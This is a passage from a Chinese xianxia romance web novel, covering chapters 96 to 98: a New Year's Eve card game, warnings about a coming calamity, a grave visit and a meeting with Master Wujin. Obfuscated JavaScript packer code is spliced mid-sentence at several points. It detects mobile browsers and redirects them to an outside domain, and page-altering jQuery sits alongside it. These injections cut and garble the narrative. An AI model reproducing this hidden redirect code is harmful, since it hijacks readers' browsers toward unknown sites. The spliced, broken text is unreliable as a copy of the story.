破月妖狼随着陆云笺魂魄融合也逐渐恢复了神识,有些久违于世的躁动不安,陆云笺于是将它召了出来,化成幼犬一般大小,也嗅一嗅除夕夜的暖意。 妖狼吃不得铜锅里的食物,便啪嗒啪嗒地去舔陆云笺杯盏中的酒,被裴世拽着尾巴又拖了回去,转头迎上裴世略带不满与警告的目光。 妖狼龇起牙,正欲毫不留情地一口咬在裴世拽着自己尾巴的手,却被一旁趴在桌上的陆云笺一只手按住了脑袋:“破月,你去弄几个小纸片来。” 妖狼没好气地道:“你要纸片干什么?涮着吃?” 陆云笺没理,伸出另一只手,一巴掌把贺江年拍醒,道:“季瑶,裴世,你们想不想玩个游戏?” 贺江年还没清醒,闻言却已经开始手舞足蹈:“玩儿啊玩儿啊!” 裴世拽着妖狼的手未松,抬头道:“什么游戏?” 陆云笺道:“斗地主,扑克牌玩不玩?” “扑克牌……”季瑶微微蹙眉,“那是何物?” “怎么说呢……”陆云笺道,“或许会和叶子牌有些相似?” “叶子牌又是……” “无妨,很容易学的,”陆云笺摆摆手,“破月,你去弄一百零八张纸片来,要硬点儿的,再给我准备支笔。” 妖狼道:“我上哪儿给你弄纸片?” “纸片,那儿不就有么?”陆云笺随手一指,“你也有好些时日没出来透透气了,跑一跑也好。” 妖狼瞥她一眼,不打算再和醉鬼多话,径自翻箱倒柜去了。 待妖狼备好纸片,陆云笺飞速在纸片上画了花样,又发了牌,道:“这局就先我来当地主吧,你们……” 贺江年一碗醒酒汤灌下去,此时已经清醒了不少:“云笺,你这挺轻车熟路啊,搁哪儿学的?” “哪儿学的?”陆云笺发牌的手一顿,抬起一手将往牌桌上凑的燕燕往下一压,递了杯温热米酒给小女孩儿,而后笑道,“梦里学的,没见过这玩法吧?” 裴世的目光自纸片上乱七八糟的花样上收回,移向陆云笺一直戴在腕上的白玉珠链,默默咽下了原欲出口的疑问。 不过没过多久,他就什么都顾不得问了。 许是风水轮流转,早早出师入世、笔试却怎么也拿不下甲等的贺江年在斗地主中一骑绝尘,赢来的铜板几乎堆成山,而大名鼎鼎、笔试永远高居榜首的归云仙君在斗地主中顺利连败十二局,银钱不保,罚酒也险些被罚得倒地不起。 贺江年先前醉得快要昏死过去,此时却又热情高涨,乐呵呵地洗着牌:“阿瑶,云笺,特别是裴世,你们别让着我啊,我这么一路赢,多不好意思啊。” 陆云笺无视了贺江年的可恶嘴脸,在身上摸索一阵,道:“我身上好像也没什么钱了,这下我要认真了,你可别后悔。” 裴世饮完最后一杯酒,将酒杯往桌上一摁,面色沉沉道:“再来。” 季瑶也笑起来:“莫不是裴公子坐的方位不对?” 陆云笺道:“季瑶,你可守好你的钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444470|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋子,待会儿贺江年输了,少不得要哭着嚎着跟你要钱呢。” “是么?那我也要认真了。”季瑶道,“拿牌吧。云笺?” 季瑶唤了两声,陆云笺没应,她转头去看,却不知何时陆云笺已伏在桌上睡熟了,指尖还捏着一只酒杯,杯中清冽的酒淌出些许,映着屋内暖黄的光。 她正欲将那只酒杯拿下来,裴世却先她一步,将酒杯取了放在一边,动作轻柔地将陆云笺扶起来:“她太累了。今日就这样吧。” 季瑶点头,将一旁已经有些迷迷糊糊、却还强撑着没有睡去的燕燕揽在身边,道:“你们先回去休息,我来收拾。” 裴世微一颔首,而后轻手轻脚地将陆云笺抱了起来,动作极尽小心,便是陆云笺睡得浅,也全然没有被扰醒。 此时已过了大半夜,裴世将陆云笺送回房间,没有点灯,只在门窗边开了一层御寒结界,而后便立在窗边,没有出去。 妖狼被裴世拎了半晌,此时等不及要回到陆云笺身边,却又被裴世拽住尾巴拽了回来,被紧紧箍在他臂弯里,几乎动弹不得。 妖狼艰难转过头,恶声恶气地:“你要怎样?” 裴世放低声音道:“她好不容易才睡,你现在不能回去。” “我需要听你使唤?”妖狼低头狠狠在裴世臂上咬下一口,尖利毒牙尽数没入皮肉,饶是黑衣看不出血色,痛楚也刹那驱散了酒意,“别以为她偏心于你,你就能对我颐指气使!” “哦,你觉得她偏心于我?”裴世锁住妖狼的手臂丝毫未松,自顾自略过了后半句,而后微微一笑,“既如此,你咬我的这一口,明日待她醒来,定然是要与你清算的。” “你是不是搞错了?当年是她求我帮她,你没有资格使唤我,她也没有资格……你做什么?” 裴世指尖捻着一朵盛开的白梅花,闻言抬了抬手:“录下来了。” “你!” 裴世松开手,妖狼急忙自他臂弯跃下,眼睛却一眨不眨地盯住他指尖的白梅花,意欲趁机毁掉自己不慎留下的把柄。 裴世无视了妖狼的杀意,朝榻上一抬下巴:“你可以去榻上待着,也帮她暖一暖,但不能回到她体内。我就在这盯着你。” 妖狼瞪视他许久,到底是没有办法,只得暂且委屈地爬上床榻,伏在陆云笺身边。 裴世的目光跟随着妖狼,而后再度停在陆云笺腕上,那串白玉珠链在无边黑夜中兀自散发着淡淡辉光。 那是陆稷送她的……上头施的从不是什么镇邪驱祟的术法,而是追踪控制她、感知与压制照灵骨灵力的术法。 她的亲生父亲,想要从她这里获得的最后一点价值,就是让她接近他,以术法压制他体内照灵骨的灵力,方便日后取出照灵骨。 裴世在窗边静静立了许久,双眼被那抹辉光刺得生疼,而后他终于忍不住,走至榻边,轻轻牵过陆云笺戴着珠链的那只手。 妖狼微微抬起头,深紫眼眸在黑暗中熠熠闪光,却没有其他动作。 裴世定定地看了那串珠链片刻,也没有其他动作,没有将上头的术法毁去,也没有直接毁掉那串珠链。 他只动作极快地在陆云笺手上串上什么东西,待他收回手,才能见那是一串与陆云笺腕上原先那串几乎一模一样的白玉珠链,连发出的淡淡光芒都如出一辙。 妖狼细细嗅了嗅那串珠链,没嗅到什么术法气息,只嗅到了经年的血腥气,以及将血腥气遮掩殆尽的淡淡白梅香。 裴世微微直起身,到底没敢再有多余的动作,只轻声道:“其实那天,我有句话没能与你说。两年了,一直欠了你一句…… “陆云笺,生辰快乐。” 96. 将临魇 安平悠闲的时节总如白驹过隙,待陆云笺的魂魄完全恢复时,已时近上元。 除夕过后,季衡与季瑶待了四五日便回了镜阳宗,贺江年仍居家中,陆云笺知道陆稷早已得了自己恢复记忆的消息,想来不等太久便会召自己回云间世,便打算先一步前往怜生寺。 她与裴世的行囊一贯简单,无需整理太久,赶在天黑之前,准备启程。 云鹤靠在院门边,瞧见二人出了房间,笑问道:“天要黑了才开始赶路,倒是不多见。二位让我们把江年与燕燕支出去,是有什么要事相告?” 陆云笺走出几步,在院门边停下,开门见山道:“不知二位可会感觉到,我与二位是同类。” 云鹤全然不曾料到陆云笺会如此说话,微微眯起眼,直起身,挡住了通往院外的道路:“陆小姐此言何意?” 冬日阳光下,云鹤与贺昀衣袍上的波浪纹样反射辉光,在暗处只如波涛翻涌的纹样,此时看来,却分明更像是游鱼或滑蛇的鳞片。 季衡与季瑶在时,二人从不曾如此穿着,除此之外,也只在需要诛杀妖魔时,才会穿上这套衣裳。 陆云笺收回目光,抬眼正对云鹤微有些不善的目光:“二十年前,一支乌麟卫反叛镜阳宗,被季宗主剿灭。其中几人得一长老相助而逃脱,就此匿迹销声,再无音讯。其中二人,就是二位吧。” 周遭静得仿佛落针可闻,几人各怀心思,相对而立,一时谁都没再说话。 云鹤袖中暗箭已然蓄势待发,贺昀上前一步挡在她身前,道:“所以?二位要为了二十年前那桩旧案,押我二人交与镜阳宗?” 陆云笺笑道:“二位想到哪儿去了。我说起此事,只是为了告诉二位,我接下来所说之事绝无虚假。我二人没有兴趣追究二位的身份,也无心多管镜阳宗,只是有心提醒二位,护好贺江年。” 贺昀面色一沉,道:“陆小姐这又是何意?” 陆云笺道:“如若不出所料,过不了多少时日,魔王留下的诅咒就会应验,届时灾劫将会降临修真界。二位或许会认为这是无稽之谈,但也无妨,只需知晓我、裴世、季衡、季瑶四人均与灾劫有重大相关,但贺江年,他与此事素来并无干系,无端被卷入,怕是有些不妙,若不能及时阻止,究竟会招致怎样的后果,你我都无法预知。” 云鹤冷笑道:“贺江年自出师入世以来,接委派、出任务不过同寻常弟子一般,陆小姐此意,不就是说他最不该的就是与你们掺和?” 陆云笺径自忽略了云鹤与贺昀愈来愈重的敌意,道:“的确如此,但也不尽如此。贺江年体内余毒未消,即便不与我们一道,也大概率会被盯上。” 此言一出,云鹤与贺昀俱是一怔。 “看来我猜对了。”陆云笺微微一笑,“同类的嗅觉,总是格外灵敏。” 陆云笺又上前几步,径自出了院门,又被贺昀唤住:“依陆小姐之见,我们应当如何?” 陆云笺停了步,回过头来:“究竟如何还未可知,我也只能言尽于此,若要再安全些,那便尽量让贺江年待在二位身边,离仙门远些。仙门护不住他,能护他的,只有二位。” 云鹤与贺昀没再说话,直到陆云笺与裴世即将走远时,云鹤才倏然笑道:“你们云间世的人,当真也有意思得很。” 贺昀道:“多谢陆小姐提醒,我二人无以为报,如若将来灾劫当真发生,我们唯有一言相告。镜阳宗宗主季良衢人面兽心,绝不可靠,倘若云间世有难,寻天玑长老,或可得救。” 陆云笺脚步一顿:“天玑长老?” 世人皆知云间世与镜阳宗素来不和,天玑长老原本是镜阳宗六道长老之一,后不知为何与镜阳宗关系破裂,转而去了云间世,虽未当职十二道长老,却仍备受尊敬,不可不谓特殊。 贺昀轻轻点头,道:“除此之外,我二人也不便多言。陆小姐,归云仙君,江湖道远,一路珍重。” 冬日的夜来得太快,二人刚出房间时天光尚亮,走出院子一段,天却彻底黑了下去。 怜生寺路途尚远,二人御剑行了一个时辰,不再赶路,而在一片荒僻山林落了脚。 眉阳山僻静,眉阳村却热闹,过几日便是上元,除夕的灯笼还没撤下去,眉阳村众人又开始制作上元的花灯。 陆云笺停在金光璀璨的结界之外,静静望着结界之内星星点点的灯火,许久之后回过神来,她一抬指尖,紫色的结界灵光一时强盛得近乎晃眼,融入后头那一道金色结界后,金紫流辉足以映亮半边天。 在一张张众人围坐的桌前上下忙碌的柳娘最先察觉到结界的变动,回过身来,尚未看清来人,便被一只飞舞的金色灵蝶晃住了眼。 陆云笺将灵力压下,以防结界太过显眼,再一抬手,金色灵蝶又裹上一层明亮紫光,飞入柳娘手中刚糊了一半的花灯。 花灯很亮,映亮来人的眉眼。 柳娘有一瞬忽地在陆云笺的盈盈笑眼中看见了周昔燕的影子,那个从前也会笑吟吟地同大家一起糊花灯的故人…… 陆云笺伸出一手在她眼前晃了晃,笑道:“看什么呢?” 只这一句,柳娘便知晓陆云笺已然恢复了记忆,却也没有多问,只抬了抬手中花灯,笑道:“这不快上元了么,做花灯呢。” 陆云笺伸手拍了拍柳娘手中的花灯,拍得花灯里的灵蝶簌簌颤动,落下星星点点的灵光:“柳娘,你同我们一起去看看我娘吧。” 三人对这条路都了熟于心,原本无需提灯照明也能畅行无阻,但柳娘顺手提了装着灵蝶的花灯过来,映得一路金紫耀目。 还是那座孤单坟茔,还是那一豆孤灯。 陆云笺抬手将石碑上的细碎草叶拂去,又施以术法,让早已枯萎的木梨花再度开放。可假的到底是假的,即便灵力化成的花经久不凋,也不会沾得木梨花半分香气。 陆云笺静静立了许久,才开门见山道:“如若不出所料,不久后修真界将会降临一场劫难,届时无数妖魔鬼怪会从地下翻涌而出,眉阳山不够安全。到那一日,我与裴世会来眉阳村接你们,柳娘……”她轻轻闭了闭眼,“帮我带上阿娘。” 柳娘一时几乎不能反应:“……灾劫?” 陆云笺将她手中并不完整的花灯拿过去,放在石碑边,粲然光辉掩去了萤火般的孤灯:“是一场必然会到来,甚至已经发生过一次的灾劫。” “……” “不过你们不用太担心,上一次灾劫来临时,眉阳村众人无人伤亡,这一回逆转时空,我也在云间世结界内为你们设好了住处,这一回,我与裴世都会竭尽全力护好你们,你们不会有事。” “那你呢?” 陆云笺抚摸着木梨花的指尖一顿,转过头来,看向柳娘隐在黑暗中的脸:“我?” 柳娘不知何时眼眶已经湿润,声音也有些许颤抖:“云笺,你如今把一切都想起来了吧。你安顿好我们,那你自己呢?跟着那什么云间世——又不顾自己安危,为他们出生入死?” “不是为他们。”陆云笺笑道,“我的确已经恢复记忆,甚至知晓了许多从前我从不知晓的事。 “比如,当今云间世尊主,就是我的亲生父亲,自我出生起他便想杀了我,是我娘一路护着我来到眉阳村,如此八年,他从未护过我阿娘。我恨他,我不会为他出生入死。 “这一回,是我自己真真切切地、发自内心地,想要护这世间安宁。因为我忽然想起来,我已经很多年没有同你们一起过上元节了,待这一次灾劫过去,往后每一年除夕与上元,我都想与你们一起过。” 柳娘听得一知半解,眼泪却不由自主地先一步滑下来,她不知该从何问起,也不知该说些什么,只能道:“那你答应我,无论遇到什么,都要先护好自己。” 陆云笺笑得更加灿烂:“那是自然。我是全修真界数一数二的修士,没有东西伤得了我。” 待三人回到眉阳村,夜色已深,众人还在糊花灯,陆云笺心中太乱,只站着看了片刻,便回屋歇息。 还是十二年前那座小屋,还是从前的布置与摆设,还是漏入屋中的一线月光,分毫未变。陆云笺枕着手在靠窗的榻上躺下,还没躺稳当,便觉身边一重,一直在自己身旁却未发一言的裴世也躺了上来。 陆云笺向外挪了地方,将他挤下去:“你去睡我的床。” 身旁的人像铁板似的一动不动,闻言还微微侧身,又靠近了些许:“冬日太冷,畏寒。” “是么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有谁能知晓修真界做的一切……我,我哥,陆稷,季良衢,季瑶,季衡,无津大师……” “陆云笺。” 忽然一声唤打断陆云笺四散的思绪,她睁开眼:“嗯?” 裴世道:“你还记不记得怜生寺幻境中那个白衣人?” 陆云笺面色一冷:“自然记得。我也曾去过怜生寺求签,也遇上了幻境,只是那白衣疯子躲在暗处,我没有看见他。” 裴世默然片刻,转而问道:“你还会去求签卜算?问的什么?” “……你这人怎么不按套路出牌。”陆云笺绕开话题,“你怎么不问我那个幻境是什么样的?” 裴世便顺着她道:“那幻境是什么样的?” “我进入大殿,不多时大殿改换了景象,面前漫天神佛成了一座东岳大帝像。 “我虽知道那景象是怜生寺不曾对外开放的偏殿,却不知东岳大帝像镇压的居然是一个白发金瞳的……与传说中的照翎族相貌一模一样的东西,那时只闻其声不见其人,竟是错过了他的真面目。 “那时我们问他是不是世间用金羽骨秘术改造而成的所谓照灵鸟的后代,他说不是。如今想来,他应该就是照翎族族人。只是照翎族三百二十年前就灭了族,他就算只是一缕魂魄,不会前往转生,可又是为何没有魂飞魄散,甚至存世至今?” 裴世道:“我不知道他为何能存世至今,但我忽然想起一样东西……九桥村的聚魂之阵。那些聚魂阵聚集的都是照翎族碎魂,我们当时认为是有人想要从中获取照灵鸟的力量……现在想来,或许还有另一种可能。” 陆云笺微微侧过脸:“另一种可能?” 裴世道:“或许是有人想用聚魂之阵让他们回来。或者说,就是这个被镇压在怜生寺的照翎族,曾开启聚魂之阵,聚合三百二十年前,被利用开启照灵阵、以致魂飞魄散、不得转生的族人的魂魄。 “即使他的灵力不足以开启聚魂阵,即使代价或许是自己魂飞魄散,也要不惜代价,孤注一掷,让族人重归于世。 “这样的执念,想来比获取照灵鸟力量的目的要强上千倍万倍……若此事不成,他想拉着全修真界陪葬,也不无可能。” 97. 作通途 怜生寺所处之地离云间世远了些,建在万仞仙山之上,香火却极盛,无数人不远千里、跋山涉水至怜生寺,只为求得一缕香火。 只是陆裴二人此行,并不是为了求愿问签。 怜生寺仍如往常一般立在万顷云雾深处,二人拨开云雾,拾级而上,陆云笺极目只能望见探出云雾的一角飞檐,笑道:“小柿子,你怕不怕?” 裴世侧过头:“怕?” “那照翎族原该在三百二十年前就死了,魂魄却一直留存到现在,原本躲在九桥村绘制聚魂之阵,现在却又被镇压在怜生寺下,想必不会是巧合。他身上,还有许多我们不知之事。”她说着,侧头笑望他,“如果这回再遇上那个胡说八道的白衣疯子,你会怕么?” “……” 裴世尚未开口,微凉指间忽然传来一阵暖意,那阵暖意与他的十指相扣,顿时将寒冷尽皆驱散。 他抬起眼,轻声道:“不会了。” 这一回再没有流雾遮挡视线,“灵光永耀,福佑千秋”八字分立两侧,再抬头,匾额上大书“怜生寺”三字,风雪之中仍熠熠生辉,夺目耀眼。 二人在大殿转了一圈,并未发现异样。 上元前后,怜生寺的香火要比平日里更为旺盛,二人挤过熙熙攘攘的人群,绕到了偏殿。香客主要集中在大殿和主道,偏殿修得简陋许多,又不曾对外开放,因此人烟稀少,只有不远处一个洒扫庭院的小沙弥走动。 二人走到门前,见大门锁得严严实实,只有微弱的术法气息,似乎此处曾经存在的阵法早已被摧毁,只余下一些残留气息。 一旁的小沙弥见有人靠近偏殿,忙跑过来,连扫帚也顾不得放,陆云笺瞥他一眼,也加快了抬手去推门的速度。 大门被猛力一推,终于露出一线缝隙。 陆云笺朝里瞥一眼,见供台之上空空如也,四壁也挂满蛛网尘灰,似乎已经久无人打扫。 小沙弥奔上来,双手合十道:“二位施主,本寺偏殿暂不对外开放,还请二位施主移步。” 陆云笺收回手,道:“抱歉。小师傅,不知寺中东岳大帝像供于何处?” 小沙弥上前将大门重新关严,道:“本寺并未供奉东岳大帝,施主可是寻错了?” “是么?”陆云笺道,“那请问无津大师现在何处?我有要事相询。” 小沙弥闻言,有些疑惑地扫了二人一眼:“方丈闭关七日,今日正好是最后一日,恐是不便面见施主。” “无妨,只劳烦小师傅传个话,说云间世陆云笺前来相寻。” “云间世?”小沙弥极少涉足仙门之事,因此虽觉得云间世之名有些熟悉,却没有多问,只道,“那二位施主随我来吧。” 小沙弥将二人引到方丈室外、通报完便退下了,待他走远,陆云笺在门外停了片刻,抬手去推屋门。 门并未合严,只轻轻一推便开了。方丈室并不如想象中一般宽敞明亮,无津大师坐在暗处,天光被隔绝在屋外,显得他的神色有些晦暗不明。 陆云笺在桌案旁坐下,道:“无津大师。” 裴世在她身旁坐下,也道:“见过无津大师。” 无津大师抬眼,目光自二人之间略过,在裴世身上停留片刻,复又转向陆云笺:“陆小姐,裴公子。不知此来寻贫僧是有何要事?” 陆云笺点头道:“我们不与大师打哑谜,此来是想问问大师,偏殿为何供了一尊东岳大帝?那东岳大帝像现在何处?” “……东岳大帝?”无津大师微微一怔,“原先偏殿的确供了一尊东岳大帝像,且不曾示于旁人。之所以供奉东岳大帝,是为镇压邪祟,可数月前,不知为何神像破碎,殿内破败,镇压邪祟的阵法也被打破,而镇压的邪祟……也趁机逃出,眼下虽全力追踪,却还未查到那邪祟现在何处。” “镇压的邪祟是什么?三百二十年前灭族的照翎族族人的残魂?” “照翎族?”无津大师沉吟片刻,“是一只修炼了百余年的妖兽和一个游荡于世间十余年的厉鬼,并非什么照翎族。” 陆云笺蹙眉道:“这便怪了,数月前我们曾偶遇怜生寺幻境,那幻境中的景象正是偏殿,幻境中有一白发金瞳的白衣人,想来是照翎族族人的残魂。那照翎族是被封印在幻境之中的,换言之,他被镇压在怜生寺偏殿东岳大帝像之下。可听大师所说,竟并非如此?” 无津大师道:“神像破碎,阵法被毁,或许在邪祟逃出之前就有阵法不稳的前兆,如若那时有照翎族残魂潜入,也并非不可能。只是贫僧那时排查不力,让他趁机潜入,是贫僧之过。” “大师言重。”陆云笺道,“我们之所以来问那照翎族的下落,是怀疑他与灾劫有关。” 无津大师身形微微一凝,神色也不如平日一般淡然,而是染上了几分凝重:“与灾劫有关?” “大师虽未参与布置逆转时空之阵,记忆已随着时空一同回溯,但我们早已与大师言明诸事。 “灾劫发生之时,我和我哥最早察觉是在云山遭遇鬼手,云间世有所察觉是因神树动荡,数只妖魔破土而出,而镜阳宗则是境内妖魔狂暴,季衡也在扫除妖魔途中遇袭失踪。 “虽说各门各派的遭遇有所不同,最先发现的妖魔也并没有太多共同点,但我认为,凡事总有开端,找出开端,才是防止灾劫发生的最有效的手段。 “众仙门认为,魔王留下的诅咒是自然而发,到所谓命定之时,自然会有无数妖魔鬼怪破土而出,重归于世。 “可若真有什么‘命定之时’,那应当与逆转时空前一样,也就是一年前,灾劫就当临世。可如今天下尚且安平,岂不是说灾劫与时日无关,而是有什么东西,推动了灾劫发生?” 无津大师道:“陆小姐闭关两年,有所不知。一年前修真界也曾遭遇一次大规模的妖魔动荡,只是众仙门早有准备,及时做出应对,才未造成不可挽回的劫难。” 陆云笺道:“既然一年前的妖魔动荡能够被解决,就证明那一次并非魔王诅咒所造成的真正的灾劫。既如此,又怎知那不是发起者对修真界的一次试探?试我们有何准备,试我们有几成功力,而他又有几成胜率。” 无津大师蹙眉道:“陆小姐此言何意?是已然确定修真界不能应对魔王诅咒,且一定存在这样一个‘发起者’,催动魔王诅咒应验、众妖魔重归于世?” “是。”陆云笺闻言,也不再旁敲侧击地委婉用词,而是斩钉截铁地肯定,“我的确认为,以眼下修真界的准备,无论是覆盖方圆万里的圣清结界,还是撕裂时空的断界阵,抑或者二者共同发挥作用,都无法完全阻止或是解决劫难。” “……” “更何况,断界阵已经不能再使用了。” 眼前这个不过二十的晚辈全然没有在尊长面前的谦卑恭顺,反倒咄咄逼人地提出一个又一个几乎可以推翻修真界这些年来做的每一分努力的猜想,饶是无津大师再淡然无波,也压不住震荡的心绪,声音也多了些起伏:“这又如何说?” “我因机缘巧合,去往另一个时空,见到了另一个时空的景象。那个时空并非修真世界,并无几人修道,也无几人通晓神鬼之术,更没有什么魔王诅咒、灭世灾劫。倘若撕裂时空,大师应当知晓会是什么后果。” “你这简直是……无稽之谈……” 陆云笺的神色语调从始至终都没什么变化起伏,只管将要说的一股脑倾倒而出:“这比三百年前就灭族的照翎族来催动魔王诅咒更荒唐,但可惜,那只是我没什么根据的猜想,而关于两个时空,却是我亲眼所见,绝无虚假。” “你可能证明?证明你所说一切,绝无虚假,全然属实……” 陆云笺的声音仍是平静无波:“我不能。 “就算我可以提取出我的记忆展示于人前,也没什么人会信,大师自然也不可能轻易相信,但我只尽我之能,将事实告知大师。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但我对旁人说我记忆恢复不全,他想必也得了消息,虽然他一定会疑我,但一时半会儿不会再下手了。 “他既然还能召我回云间世,那就证明我在他那儿还是有点利用价值的——毕竟这样一把好用的刀,可再也不会有第二把了。 “我不过委屈委屈装装乖……再说了,他又是逆转时空,又是布置圣清结界和断界阵,又得维持着云间世结界,早就元气大伤,可未定打得过我。” 她说着,举起戴着白玉珠链的手晃了晃:“比起这些,我更想知道,这串链子,还有先前的戮心蛊,究竟对你有多大影响?” 陆稷给她的白玉珠链与戮心蛊上都施了压制照灵骨灵力的术法,为的就是压制裴世的灵力,以便有朝一日利用断界阵取出照灵骨。 如此数月,二人几乎日日待在一处,说毫无影响,那是不可能的。 陆云笺道:“你一开始就看出了这上头的术法,为什么不把它毁掉?” 裴世将目光自那串珠链上收回,轻声道:“因为你不愿。” “……” “如果你想杀他,我可以替你杀了他,如果你想留着他,我也一样会尽我所能支持你。我说过,我在世上唯有两个目的,一是屠尽天下鬼魈,二是……” “是与你站在一起。” 陆云笺替他接了话,而后在云雾蔓延的长阶上停了步,道:“敌在暗我在明,接下来我们所有动作,必会引起幕后之人的注意,他一旦觉察事态发展超出预料,必会有所动作……比如,立即发动灾劫,阻止我们进一步动作。” 她顿了片刻,再一次问道:“小柿子,你怕不怕?” 裴世握着她的手握得极紧,听她发问,也再一次回答:“有何可怕。” 陆云笺微微一笑,复又望向绵延不尽的长阶。 这一次,他们终于可以携手并肩,前路漫长,亦作通途坦荡。 98. 祸影现 云间世的景象数百年来如一日,陆云笺无甚心思去看,径直奔往中孚殿。 大殿内,陆稷似乎正与陆明周商讨什么事宜,陆云笺猜想大抵是上元宴相关,没什么兴趣多问,只等着二人似乎谈得差不多了,才迈入大殿,恭顺地行了一礼:“父亲。” 陆明周闻言先转过身来,神色有些许复杂。 陆云笺仍维持着行礼的姿势,不曾抬头看二人:“父亲恕罪,参世仙人座下神龙助我恢复记忆,但我身体不支,将养十日有余,才能动身回云间世拜见父亲。那老龙虽法力广大,但只是残魂一缕,神力已尽,又亟待转生,我未能将其带回,助成四方神兽之阵。” 陆稷立在阶上,闻言只微微低眸:“你记忆恢复得如何了?” 陆云笺道:“并不完全,或许是因为那时伤重,而此时记忆大量涌入,一时接收不能,许多细节尚不清楚,受伤前后的记忆仍是一片空白。” “是吗?” 陆稷一反常态地自阶上走下,抬手扶了陆云笺一把。 陆云笺不动声色地直起身,瞥见他的指尖拂过她手腕上戴着的那串白玉珠链,感知着他的灵力自手腕灌注而入。 他在试什么? 试破月妖狼的妖力削弱与否,还是在试自己施在珠链上的术法是否受到了影响? 陆云笺垂着眸,自始至终都没有抬头看自己的父亲一眼。 “那名弟子呢?”陆稷收回手,“‘归云仙君’?” “溟海海妖还未被抹杀干净,他去追击海妖了,不曾与我一道。”陆云笺道,“不过如若父亲需要,我随时可以将他带回来。” “不必了。”陆稷淡声道,“我召你回来,是因上元宴在即,你也应当做些准备。” “是。”陆云笺颔首,“我先回流丹阁,不扰父亲与兄长。”她转身大步走出中孚殿,殿前神树一如往常地绽开一树繁花,无数细碎的白色花瓣兀自潋滟着淡金辉光。 这淡金辉光上接云间世结界,万丈高空,一眼望不到头。 陆云笺草草瞥了那神树一眼,觉不出神树之下的任何东西,无论是三百二十年前就镇压在神树之下的无数妖魔鬼怪,还是与云间世结界相连的四方神兽之阵。 四方神兽之阵既是圣清结界之基,亦是断界阵的一部分,断界阵阵眼藏在云间世后山禁地,无掌门令不得入,也探寻不到半分气息。 陆云笺没有多作停留,她知道陆稷不可能信她,但只要能暂时稳住陆稷,在云间世待上半月就够了。即便不能完完全全地毁去断界阵,也足够她想办法摸清阵法构造,必要时候设法令其失效。 流丹阁前的花木应季开放,此时又轮到了白梅花。 陆云笺在白梅林中驻足,停了片刻,拿出好好藏在怀中的另一串白玉珠链,凑在鼻尖。经年的血腥气早已浅淡得近乎于无,唯余淡淡白梅香与未曾消散的怀中余温。 原不过一串小小珠链,那时母亲将它作为生辰礼戴在自己腕上时,想来也不会想到几年后眉阳村那一场浩劫,也不会想到陆云笺不慎遗失这串珠链,找寻数年也无果。 更不会想到,会有另一个人,费尽周折,寻回母亲留给她最后的慰藉,将这一串珠链,重新戴回她手腕。 凑在鼻尖的珠链上的白梅香虽浅淡,却仿佛比整片白梅林凑起来还要更为浓郁。 只这两人……就够了。 只要这两个人愿意站在她身边,即便前路漫长甚至暗无天日,她也不会再生恐惧了。 她重伤闭关的两年,陆明周时不时为她打扫流丹阁,她出关后,他便不再定时前来,数日未归,屋内已经落了些许尘灰。 陆云笺依照记忆寻到一处隐蔽暗格,擦去上头厚于寻常数倍的尘灰,露出阵法一角。她将灵力灌入阵法阵眼,流丹阁内被紫色光芒照彻一瞬,显现出阵法的完整形态。 那是她融合魂魄、恢复记忆前,竭尽全力告知自己在流丹阁内布下的阵法。 她担心自己会融魂失败而后身死,再无法阻止灾劫,便只能告知自己这个简易阵法,即便没有灵力运转,时机一至,也能发挥效用。 她花费了半月,在流丹阁内布下这一阵法,为的是让修真界煞费苦心布下的圣清结界不至功亏一篑。 如今这道阵法未被旁人觉察,她恢复了记忆,也能使用灵力将其运转,阵法效用会大大增强,原当是可喜的,可陆云笺却没有半分欣喜。 她收回灵力,再度将阵法遮掩住,将目光投向窗外簌簌颤动的白梅花。 短短几日转瞬即逝,上元来临,云间世早布置好了上元宴相关事宜,陆云笺没什么需要准备,便趁此机会将云间世结界、四方神兽之阵、圣清结界以及断界阵法摸了个大概。 只是虽大致清楚了各个阵法,却不能悄无声息地潜入后山禁地,也不知该如何彻底毁去断界阵。 上元宴名义上是为共庆佳节,却也是众仙门领袖、翘楚聚首之时,共商修真界重大事宜。 陆稷还未到场,接待宾客有陆明周和司仪长老负责,数位弟子打下手,陆云笺没有兴趣去凑热闹,到场早了些,也懒得顾什么礼数,只在自己座位上坐了。 云间世重大宴会来来去去总是那么些人参加,坐席便都不曾变过。 陆云笺遥遥望着对面一排之中归云仙君的座位,倒了满满一杯茶,又等着它冷掉,不知在想什么。 不多时,上元宴开,照例最先是陆稷说上几句,而后宴席开,歌舞起,丝竹管弦声声不绝。 陆云笺百无聊赖地转着茶盏,目光不动声色地扫过在场众修士。 一曲歌舞毕,不知哪个角落里忽然站起来一名修士,拱手道:“盛会之上,兴之所至,自请为诸君舞剑一曲,权当为诸位助兴,望能博诸君一乐。” 陆云笺抬眼望去,见是个二十出头的年轻修士,转着茶盏的手停住了。 宴会之上自请表演实属寻常,陆稷微微颔首,做了个“请”的手势。 陆云笺瞥了眼端坐尊主之位的陆稷,整了整袖口,也站起身来:“一人舞剑怕是有些无趣,我与阁下共舞一曲,为诸君助兴。” 那名修士闻言笑道:“陆小姐肯赏脸,在下荣幸之至。” 陆云笺向一旁侍立的弟子借了剑,道:“何需客气。” 二人行至大殿中央,殿中琴音起,那修士浅浅行了一礼,率先出剑。 